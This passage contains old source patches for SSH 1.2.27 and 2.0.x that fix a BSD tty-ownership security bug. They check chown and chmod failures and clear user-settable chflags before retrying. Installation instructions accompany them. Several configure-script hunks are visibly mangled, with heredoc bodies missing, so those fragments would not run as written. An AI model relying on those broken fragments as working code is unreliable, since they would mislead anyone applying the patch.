chmod() in BSD fails + /* XXX some operation(s) may fail (for example chown() in BSD fails always if not super-user), but that is no excuse to stop executing them alltogether. So, we need some system to inform the user of the error(s). This is not it. */ diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-2.0.13.orig/sshconf.h.in ssh-2.0.13/sshconf.h.in --- ssh-2.0.13.orig/sshconf.h.in Tue May 11 11:34:56 1999 +++ ssh-2.0.13/sshconf.h.in Wed Aug 11 17:08:17 1999 @@ -287,6 +287,9 @@ /* Define if you have the authenticate function. */ #undef HAVE_AUTHENTICATE +/* Define if you have the chflags function. */ +#undef HAVE_CHFLAGS + /* Define if you have the chmod function. */ #undef HAVE_CHMOD diff -u ssh-2.0.13.orig/configure ssh-2.0.13/configure --- ssh-2.0.13.orig/configure Tue May 11 11:34:58 1999 +++ ssh-2.0.13/configure Wed Aug 11 17:07:05 1999 @@ -6011,7 +6011,7 @@ fi done -for ac_func in signal setrlimit getrlimit setluid getpt +for ac_func in signal setrlimit getrlimit setluid getpt chflags do echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 echo "configure:6018: checking for $ac_func" >&5 Patch for problem with tty ownership with chflags and chown in BSD 4.4 variants. Fixes a security bug in tty allocation. This patch works for ssh-2.0.12 (note: doesn't work for ssh-2.0.13. Use patch-ssh-2.0.13-bsd.tty.chown for that). Apply with the following commands: % cd /wherever/you/hold/your/sources/ssh-2.0.12 % patch -p1 -l < /path/to/where/you/saved/patch-ssh-2.0.12-bsd.tty.chown % ./configure --whatever-config-flags-you-use % make clean % make % su Password: *********** # make install # kill -HUP `cat /var/run/sshd2_22.pid` You should be all set. Sami Lehtinen --begin patch-- diff -u --recursive -X /u/sjl/bin/diff-src-db f-secure-ssh-2.0.12.orig/apps/ssh/agentpath.c f-secure-ssh-2.0.12/apps/ssh/agentpath.c --- f-secure-ssh-2.0.12.orig/apps/ssh/agentpath.c Fri Oct 30 15:16:38 1998 +++ f-secure-ssh-2.0.12/apps/ssh/agentpath.c Wed Aug 11 19:14:43 1999 @@ -78,10 +78,16 @@ } else { - (void)chown(socket_dir_name, uid, 0); + /* We don't do anything special if this fails. (for example, + in BSD's this always fails.)*/ + if (chown(socket_dir_name, uid, 0) < 0) + { + SSH_TRACE(2, ("chown failed for %s, error: %s", \ + socket_dir_name, strerror(errno))); + } } } - + /* Check the owner and permissions */ if (stat(socket_dir_name, &st) != 0 || st.st_uid != uid || (st.st_mode & 077) != 0) @@ -132,8 +138,18 @@ if (listener) { - (void)chown(path, uid, 0); - (void)chmod(path, S_IRUSR | S_IWUSR); + if (chown(path, uid, 0) < 0) + { + /* This fails always with BSD. */ + SSH_DEBUG(2, ("chown failed for %s, error: %s", \ + path, strerror(errno))); + } + + if (chmod(path, S_IRUSR | S_IWUSR) < 0) + { + SSH_DEBUG(2, ("chmod failed for %s, error: %s", \ + path, strerror(errno))); + } } else { diff -u --recursive -X /u/sjl/bin/diff-src-db f-secure-ssh-2.0.12.orig/apps/ssh/sshchsession.c f-secure-ssh-2.0.12/apps/ssh/sshchsession.c --- f-secure-ssh-2.0.12.orig/apps/ssh/sshchsession.c Mon Jan 18 12:32:24 1999 +++ f-secure-ssh-2.0.12/apps/ssh/sshchsession.c Wed Aug 11 19:14:44 1999 @@ -1288,8 +1288,12 @@ /* If we have a pseudo-terminal, log that we are now logged out. */ if (session->have_pty) { - ssh_pty_get_name(session->stream, ptyname, sizeof(ptyname)); - ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname); + if (session->stream != NULL) + { + SSH_TRACE(2, ("Destroying session stream, and logging user out.")); + ssh_pty_get_name(session->stream, ptyname, sizeof(ptyname)); + ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname); + } } #ifdef SSH_CHANNEL_X11 diff -u --recursive -X /u/sjl/bin/diff-src-db f-secure-ssh-2.0.12.orig/configure.in f-secure-ssh-2.0.12/configure.in --- f-secure-ssh-2.0.12.orig/configure.in Fri Jan 29 13:34:29 1999 +++ f-secure-ssh-2.0.12/configure.in Wed Aug 11 19:14:44 1999 @@ -864,7 +864,7 @@ AC_CHECK_HEADERS(sia.h sys/mkdev.h util.h shadow.h) AC_CHECK_FUNCS(revoke openpty _getpty setpgrp setpgid ttyslot authenticate) AC_CHECK_FUNCS(makeutx setlogin openpty _getpty innetgr initgroups setpgrp) -AC_CHECK_FUNCS(signal setrlimit getrlimit) +AC_CHECK_FUNCS(signal setrlimit getrlimit chflags) AC_CHECK_LIB(c, crypt, [true], AC_CHECK_LIB(crypt, crypt)) AC_CHECK_LIB(sec, getspnam) AC_CHECK_LIB(seq, get_process_stats) diff -u --recursive -X /u/sjl/bin/diff-src-db f-secure-ssh-2.0.12.orig/lib/sshsession/sshunixptystream.c f-secure-ssh-2.0.12/lib/sshsession/sshunixptystream.c --- f-secure-ssh-2.0.12.orig/lib/sshsession/sshunixptystream.c Fri Jan 29 13:35:43 1999 +++ f-secure-ssh-2.0.12/lib/sshsession/sshunixptystream.c Wed Aug 11 19:18:54 1999 @@ -22,6 +22,8 @@ #include "sshtimeouts.h" #include "sigchld.h" +#define SSH_DEBUG_MODULE "SshUnixPtyStream" + typedef enum { SSH_PTY_NORMAL, SSH_PTY_BSD_PACKET @@ -126,10 +128,86 @@ tty_gid = owner_gid; tty_mode = S_IRUSR|S_IWUSR|S_IWGRP|S_IWOTH; } - + + retry_chown: /* Change ownership of the tty. */ - (void)chown(namebuf, owner_uid, tty_gid); - (void)chmod(namebuf, tty_mode); + if (chown(namebuf, owner_uid, tty_gid) < 0) + { + /* chown failed. Atleast two possibilities. Either we are not + running as root, in which case this is OK, or we are running + on BSD, and somebody has put some flags to the tty. */ + + /* Check whether we are root or not.*/ + if (getuid() != UID_ROOT) + { + /* We are not, and then this is OK. */ + SSH_DEBUG(2, ("chown failed (but we're not root anyway) for " \ + "%s, error %s", namebuf, strerror(errno))); + } + else + { +#ifdef HAVE_CHFLAGS + static Boolean retrying = FALSE; + struct stat st; + + if (!retrying) + { + SSH_TRACE(0, ("chown failed for %s, error: %s. Removing " \ + "user-settable flags, and retrying.", \ + namebuf, strerror(errno))); + + if (stat(namebuf, &st) < 0) + { + ssh_warning("stat failed for %s, error: %s", + namebuf, strerror(errno)); + } + else + { + SSH_TRACE(2, ("Removing user-settable flags with chflags.")); + /* Remove user definable flags. */ + if (chflags(namebuf, st.st_flags & + ~(UF_NODUMP | UF_IMMUTABLE | + UF_APPEND | UF_OPAQUE)) < 0) + { + SSH_TRACE(0, ("chflags failed for %s, error: %s", \ + namebuf, strerror(errno))); + } + else + { + SSH_TRACE(2, ("Retrying...")); + retrying = TRUE; + goto retry_chown; + } + } + } + else + { + SSH_TRACE(0, ("chown failed even with retry. error: %s", \ + strerror(errno))); + } + +#endif /* HAVE_CHFLAGS */ + ssh_warning("ssh_pty_allocate_and_fork: chown failed for %s.", + namebuf); + return SSH_PTY_ERROR; + } + } + + if (chmod(namebuf, tty_mode) < 0) + { + if (getuid() != UID_ROOT) + { + /* We are not, and then this is (probably) OK. */ + SSH_DEBUG(2, ("chmod failed (but we're not root anyway) for " \ + "%s, error %s", namebuf, strerror(errno))); + } + else + { + ssh_warning("ssh_pty_allocate_and_fork: chmod %s: %s", + namebuf, strerror(errno)); + return SSH_PTY_ERROR; + } + } /* Initialize SIGCHLD handling. This will ensure the SIGCHLD won't get delivered until we register the handler for the new process below. */ diff -u --recursive -X /u/sjl/bin/diff-src-db f-secure-ssh-2.0.12.orig/lib/sshutil/sshfilexfers.c f-secure-ssh-2.0.12/lib/sshutil/sshfilexfers.c --- f-secure-ssh-2.0.12.orig/lib/sshutil/sshfilexfers.c Mon Jan 18 13:07:26 1999 +++ f-secure-ssh-2.0.12/lib/sshutil/sshfilexfers.c Wed Aug 11 19:14:44 1999 @@ -327,7 +327,7 @@ { #ifdef HAVE_FCHOWN /* Note: we ignore the return value. */ - fchown(fd, attrs->uid, attrs->gid); + (void)fchown(fd, attrs->uid, attrs->gid); #endif /* HAVE_FCHOWN */ } @@ -734,7 +734,7 @@ #endif /* HAVE_FUTIMES */ } - /* XXX some operation(s) may fail (for example chmod() in BSD fails + /* XXX some operation(s) may fail (for example chown() in BSD fails always if not super-user), but that is no excuse to stop executing them alltogether. So, we need some system to inform the user of the error(s). This is not it. */ diff -u --recursive -X /u/sjl/bin/diff-src-db f-secure-ssh-2.0.12.orig/sshconf.h.in f-secure-ssh-2.0.12/sshconf.h.in --- f-secure-ssh-2.0.12.orig/sshconf.h.in Fri Jan 29 13:34:59 1999 +++ f-secure-ssh-2.0.12/sshconf.h.in Wed Aug 11 19:14:44 1999 @@ -279,6 +279,9 @@ /* Define if you have the authenticate function. */ #undef HAVE_AUTHENTICATE +/* Define if you have the chflags function. */ +#undef HAVE_CHFLAGS + /* Define if you have the chmod function. */ #undef HAVE_CHMOD diff -u f-secure-ssh-2.0.12.orig/configure f-secure-ssh-2.0.12/configure --- f-secure-ssh-2.0.12.orig/configure Fri Jan 29 13:35:02 1999 +++ f-secure-ssh-2.0.12/configure Wed Aug 11 19:07:25 1999 @@ -6054,7 +6054,7 @@ fi done -for ac_func in signal setrlimit getrlimit +for ac_func in signal setrlimit getrlimit chflags do echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 echo "configure:6061: checking for $ac_func" >&5 Patch for problem with tty ownership with chflags and chown in BSD 4.4 variants. Fixes a security bug in tty allocation. This patch works for ssh-1.2.27. Apply with the following commands: % cd /wherever/you/hold/your/sources/ssh-1.2.27 % patch -p1 -l < /path/to/where/you/saved/patch-ssh-1.2.27-bsd.tty.chown % ./configure --whatever-config-flags-you-use % make clean % make % su Password: *********** # make install # kill -HUP `cat /var/run/sshd.pid` You should be all set. Sami Lehtinen --begin patch-- diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-1.2.27.orig/auth-passwd.c ssh-1.2.27/auth-passwd.c --- ssh-1.2.27.orig/auth-passwd.c Wed May 12 14:19:23 1999 +++ ssh-1.2.27/auth-passwd.c Wed Aug 11 19:49:32 1999 @@ -613,7 +613,13 @@ /* get_name pulls out just the name not the type */ strcpy(ccname + 5, krb5_cc_get_name(ssh_context, ccache)); - (void) chown(ccname + 5, pw->pw_uid, pw->pw_gid); + if (chown(ccname + 5, pw->pw_uid, pw->pw_gid) < 0) + { + log_msg("Kerberos: chown failed for %s, error: %s", + ccname + 5, strerror(errno)); + packet_send_debug("Kerberos: chown failed for %s", ccname + 5); + goto errout; + } /* If tgt was passed unlink file */ if (ticket) diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-1.2.27.orig/config.h.in ssh-1.2.27/config.h.in --- ssh-1.2.27.orig/config.h.in Wed May 12 14:20:04 1999 +++ ssh-1.2.27/config.h.in Wed Aug 11 20:20:51 1999 @@ -360,6 +360,9 @@ /* Define if you have the authenticate function. */ #undef HAVE_AUTHENTICATE +/* Define if you have the chflags function. */ +#undef HAVE_CHFLAGS + /* Define if you have the clock function. */ #undef HAVE_CLOCK diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-1.2.27.orig/configure.in ssh-1.2.27/configure.in --- ssh-1.2.27.orig/configure.in Wed May 12 14:20:02 1999 +++ ssh-1.2.27/configure.in Wed Aug 11 20:05:13 1999 @@ -433,6 +433,7 @@ AC_CHECK_FUNCS(strchr memcpy setlogin openpty _getpty clock fchmod ulimit) AC_CHECK_FUNCS(gethostname getdtablesize umask innetgr initgroups setpgrp) AC_CHECK_FUNCS(setpgid daemon waitpid ttyslot authenticate getpt isastream) +AC_CHECK_FUNCS(chflags) AC_REPLACE_FUNCS(strerror memmove remove random putenv crypt socketpair snprintf) diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-1.2.27.orig/sshd.c ssh-1.2.27/sshd.c --- ssh-1.2.27.orig/sshd.c Wed May 12 14:19:29 1999 +++ ssh-1.2.27/sshd.c Wed Aug 11 20:26:31 1999 @@ -2897,9 +2897,87 @@ tty_mode = S_IRUSR|S_IWUSR|S_IWGRP|S_IWOTH; } + retry_chown: + /* Change ownership of the tty. */ - (void)chown(ttyname, pw->pw_uid, tty_gid); - (void)chmod(ttyname, tty_mode); + if (chown(ttyname, pw->pw_uid, tty_gid) < 0) + { + /* chown failed. Atleast two possibilities. Either we are not + running as root, in which case this is OK, or we are running + on BSD, and somebody has put some flags to the tty. */ + + /* Check whether we are root or not.*/ + if (getuid() != UID_ROOT) + { + /* We are not, and then this is OK. */ + debug("chown failed (but we're not root anyway) for " + "%s, error %s", ttyname, strerror(errno)); + } + else + { +#ifdef HAVE_CHFLAGS + static int retrying = 0; + struct stat st; + + if (!retrying) + { + debug("chown failed for %s, error: %s. Removing " + "user-settable flags, and retrying.", + ttyname, strerror(errno)); + + if (stat(ttyname, &st) < 0) + { + error("stat failed for %s, error: %s", + ttyname, strerror(errno)); + } + else + { + debug("Removing user-settable flags with " + "chflags."); + /* Remove user definable flags. */ + if (chflags(ttyname, st.st_flags & + ~(UF_NODUMP | UF_IMMUTABLE | + UF_APPEND | UF_OPAQUE)) < 0) + { + debug("chflags failed for %s, error: %s", + ttyname, strerror(errno)); + } + else + { + debug("Retrying..."); + retrying = 1; + goto retry_chown; + } + } + } + else + { + debug("chown failed even with retry. error: %s", + strerror(errno)); + } + +#endif /* HAVE_CHFLAGS */ + error("ssh_pty_allocate_and_fork: chown failed for %s.", + ttyname); + goto fail; + } + } + + if (chmod(ttyname, tty_mode) < 0) + { + if (getuid() != UID_ROOT) + { + /* We are not, and then this is (probably) OK. */ + debug("chmod failed (but we're not root anyway) for " + "%s, error %s", ttyname, strerror(errno)); + } + else + { + error("ssh_pty_allocate_and_fork: chmod %s: %s", + ttyname, strerror(errno)); + goto fail; + } + } /* Get TERM from the packet. Note that the value may be of arbitrary length. */ diff -u ssh-1.2.27.orig/configure ssh-1.2.27/configure --- ssh-1.2.27.orig/configure Wed May 12 14:20:06 1999 +++ ssh-1.2.27/configure Wed Aug 11 20:08:14 1999 @@ -4512,16 +4512,71 @@ fi done +for ac_func in chflags +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:4519: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:4547: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + for ac_func in strerror memmove remove random putenv crypt socketpair snprintf do echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 -echo "configure:4520: checking for $ac_func" >&5 +echo "configure:4575: checking for $ac_func" >&5 if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:4603: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_func_$ac_func=yes" else @@ -4572,7 +4627,7 @@ echo $ac_n "checking whether ln -s works""... $ac_c" 1>&6 -echo "configure:4576: checking whether ln -s works" >&5 +echo "configure:4631: checking whether ln -s works" >&5 if eval "test \"`echo '$''{'ac_cv_prog_LN_S'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else @@ -4603,7 +4658,7 @@ # SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" # ./install, which can be erroneously created by make from ./install.sh. echo $ac_n "checking for a BSD compatible install""... $ac_c" 1>&6 -echo "configure:4607: checking for a BSD compatible install" >&5 +echo "configure:4662: checking for a BSD compatible install" >&5 if test -z "$INSTALL"; then if eval "test \"`echo '$''{'ac_cv_path_install'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 @@ -4655,7 +4710,7 @@ # Extract the first word of "ar", so it can be a program name with args. set dummy ar; ac_word=$2 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 -echo "configure:4659: checking for $ac_word" >&5 +echo "configure:4714: checking for $ac_word" >&5 if eval "test \"`echo '$''{'ac_cv_prog_AR'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else @@ -4685,7 +4740,7 @@ # Extract the first word of "ranlib", so it can be a program name with args. set dummy ranlib; ac_word=$2 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 -echo "configure:4689: checking for $ac_word" >&5 +echo "configure:4744: checking for $ac_word" >&5 if eval "test \"`echo '$''{'ac_cv_prog_RANLIB'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else @@ -4719,7 +4774,7 @@ # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 -echo "configure:4723: checking for $ac_word" >&5 +echo "configure:4778: checking for $ac_word" >&5 if eval "test \"`echo '$''{'ac_cv_prog_MAKEDEP'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else @@ -4754,7 +4809,7 @@ # Uses ac_ vars as temps to allow command line to override cache and checks. # --without-x overrides everything else, but does not touch the cache. echo $ac_n "checking for X""... $ac_c" 1>&6 -echo "configure:4758: checking for X" >&5 +echo "configure:4813: checking for X" >&5 # Check whether --with-x or --without-x was given. if test "${with_x+set}" = set; then @@ -4816,12 +4871,12 @@ # First, try using that file with no special directory specified. cat > conftest.$ac_ext < EOF ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" -{ (eval echo configure:4825: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +{ (eval echo configure:4880: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } ac_err=`grep -v '^ *+' conftest.out` if test -z "$ac_err"; then rm -rf conftest* @@ -4890,14 +4945,14 @@ ac_save_LIBS="$LIBS" LIBS="-l$x_direct_test_library $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:4956: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* LIBS="$ac_save_LIBS" # We can link X programs with no special library path. @@ -5003,17 +5058,17 @@ case "`(uname -sr) 2>/dev/null`" in "SunOS 5"*) echo $ac_n "checking whether -R must be followed by a space""... $ac_c" 1>&6 -echo "configure:5007: checking whether -R must be followed by a space" >&5 +echo "configure:5062: checking whether -R must be followed by a space" >&5 ac_xsave_LIBS="$LIBS"; LIBS="$LIBS -R$x_libraries" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5072: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* ac_R_nospace=yes else @@ -5029,14 +5084,14 @@ else LIBS="$ac_xsave_LIBS -R $x_libraries" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5095: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* ac_R_space=yes else @@ -5068,7 +5123,7 @@ # libraries were built with DECnet support. And karl@cs.umb.edu says # the Alpha needs dnet_stub (dnet does not exist). echo $ac_n "checking for dnet_ntoa in -ldnet""... $ac_c" 1>&6 -echo "configure:5072: checking for dnet_ntoa in -ldnet" >&5 +echo "configure:5127: checking for dnet_ntoa in -ldnet" >&5 ac_lib_var=`echo dnet'_'dnet_ntoa | sed 'y%./+-%__p_%'` if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 @@ -5076,7 +5131,7 @@ ac_save_LIBS="$LIBS" LIBS="-ldnet $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5146: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_lib_$ac_lib_var=yes" else @@ -5109,7 +5164,7 @@ if test $ac_cv_lib_dnet_dnet_ntoa = no; then echo $ac_n "checking for dnet_ntoa in -ldnet_stub""... $ac_c" 1>&6 -echo "configure:5113: checking for dnet_ntoa in -ldnet_stub" >&5 +echo "configure:5168: checking for dnet_ntoa in -ldnet_stub" >&5 ac_lib_var=`echo dnet_stub'_'dnet_ntoa | sed 'y%./+-%__p_%'` if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 @@ -5117,7 +5172,7 @@ ac_save_LIBS="$LIBS" LIBS="-ldnet_stub $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5187: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_lib_$ac_lib_var=yes" else @@ -5157,12 +5212,12 @@ # The nsl library prevents programs from opening the X display # on Irix 5.2, according to dickey@clark.net. echo $ac_n "checking for gethostbyname""... $ac_c" 1>&6 -echo "configure:5161: checking for gethostbyname" >&5 +echo "configure:5216: checking for gethostbyname" >&5 if eval "test \"`echo '$''{'ac_cv_func_gethostbyname'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5244: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_func_gethostbyname=yes" else @@ -5206,7 +5261,7 @@ if test $ac_cv_func_gethostbyname = no; then echo $ac_n "checking for gethostbyname in -lnsl""... $ac_c" 1>&6 -echo "configure:5210: checking for gethostbyname in -lnsl" >&5 +echo "configure:5265: checking for gethostbyname in -lnsl" >&5 ac_lib_var=`echo nsl'_'gethostbyname | sed 'y%./+-%__p_%'` if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 @@ -5214,7 +5269,7 @@ ac_save_LIBS="$LIBS" LIBS="-lnsl $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5284: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_lib_$ac_lib_var=yes" else @@ -5255,12 +5310,12 @@ # -lsocket must be given before -lnsl if both are needed. # We assume that if connect needs -lnsl, so does gethostbyname. echo $ac_n "checking for connect""... $ac_c" 1>&6 -echo "configure:5259: checking for connect" >&5 +echo "configure:5314: checking for connect" >&5 if eval "test \"`echo '$''{'ac_cv_func_connect'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5342: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_func_connect=yes" else @@ -5304,7 +5359,7 @@ if test $ac_cv_func_connect = no; then echo $ac_n "checking for connect in -lsocket""... $ac_c" 1>&6 -echo "configure:5308: checking for connect in -lsocket" >&5 +echo "configure:5363: checking for connect in -lsocket" >&5 ac_lib_var=`echo socket'_'connect | sed 'y%./+-%__p_%'` if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 @@ -5312,7 +5367,7 @@ ac_save_LIBS="$LIBS" LIBS="-lsocket $X_EXTRA_LIBS $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5382: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_lib_$ac_lib_var=yes" else @@ -5347,12 +5402,12 @@ # gomez@mi.uni-erlangen.de says -lposix is necessary on A/UX. echo $ac_n "checking for remove""... $ac_c" 1>&6 -echo "configure:5351: checking for remove" >&5 +echo "configure:5406: checking for remove" >&5 if eval "test \"`echo '$''{'ac_cv_func_remove'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5434: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_func_remove=yes" else @@ -5396,7 +5451,7 @@ if test $ac_cv_func_remove = no; then echo $ac_n "checking for remove in -lposix""... $ac_c" 1>&6 -echo "configure:5400: checking for remove in -lposix" >&5 +echo "configure:5455: checking for remove in -lposix" >&5 ac_lib_var=`echo posix'_'remove | sed 'y%./+-%__p_%'` if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 @@ -5404,7 +5459,7 @@ ac_save_LIBS="$LIBS" LIBS="-lposix $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5474: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_lib_$ac_lib_var=yes" else @@ -5439,12 +5494,12 @@ # BSDI BSD/OS 2.1 needs -lipc for XOpenDisplay. echo $ac_n "checking for shmat""... $ac_c" 1>&6 -echo "configure:5443: checking for shmat" >&5 +echo "configure:5498: checking for shmat" >&5 if eval "test \"`echo '$''{'ac_cv_func_shmat'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5526: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_func_shmat=yes" else @@ -5488,7 +5543,7 @@ if test $ac_cv_func_shmat = no; then echo $ac_n "checking for shmat in -lipc""... $ac_c" 1>&6 -echo "configure:5492: checking for shmat in -lipc" >&5 +echo "configure:5547: checking for shmat in -lipc" >&5 ac_lib_var=`echo ipc'_'shmat | sed 'y%./+-%__p_%'` if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 @@ -5496,7 +5551,7 @@ ac_save_LIBS="$LIBS" LIBS="-lipc $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5566: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_lib_$ac_lib_var=yes" else @@ -5540,7 +5595,7 @@ # libraries we check for below, so use a different variable. # --interran@uluru.Stanford.EDU, kb@cs.umb.edu. echo $ac_n "checking for IceConnectionNumber in -lICE""... $ac_c" 1>&6 -echo "configure:5544: checking for IceConnectionNumber in -lICE" >&5 +echo "configure:5599: checking for IceConnectionNumber in -lICE" >&5 ac_lib_var=`echo ICE'_'IceConnectionNumber | sed 'y%./+-%__p_%'` if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 @@ -5548,7 +5603,7 @@ ac_save_LIBS="$LIBS" LIBS="-lICE $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5618: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_lib_$ac_lib_var=yes" else @@ -5587,7 +5642,7 @@ # Extract the first word of "passwd", so it can be a program name with args. set dummy passwd; ac_word=$2 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 -echo "configure:5591: checking for $ac_word" >&5 +echo "configure:5646: checking for $ac_word" >&5 if eval "test \"`echo '$''{'ac_cv_path_PASSWD_PATH'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else @@ -5625,7 +5680,7 @@ # Extract the first word of "xauth", so it can be a program name with args. set dummy xauth; ac_word=$2 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 -echo "configure:5629: checking for $ac_word" >&5 +echo "configure:5684: checking for $ac_word" >&5 if eval "test \"`echo '$''{'ac_cv_path_XAUTH_PATH'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else @@ -5669,7 +5724,7 @@ X_PROGRAMS="ssh-askpass" fi echo $ac_n "checking for X11 unix domain socket directory""... $ac_c" 1>&6 -echo "configure:5673: checking for X11 unix domain socket directory" >&5 +echo "configure:5728: checking for X11 unix domain socket directory" >&5 if test '!' -d /tmp/.X11-unix; then if test -d /var/X/.X11-unix; then @@ -5698,7 +5753,7 @@ # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 -echo "configure:5702: checking for $ac_word" >&5 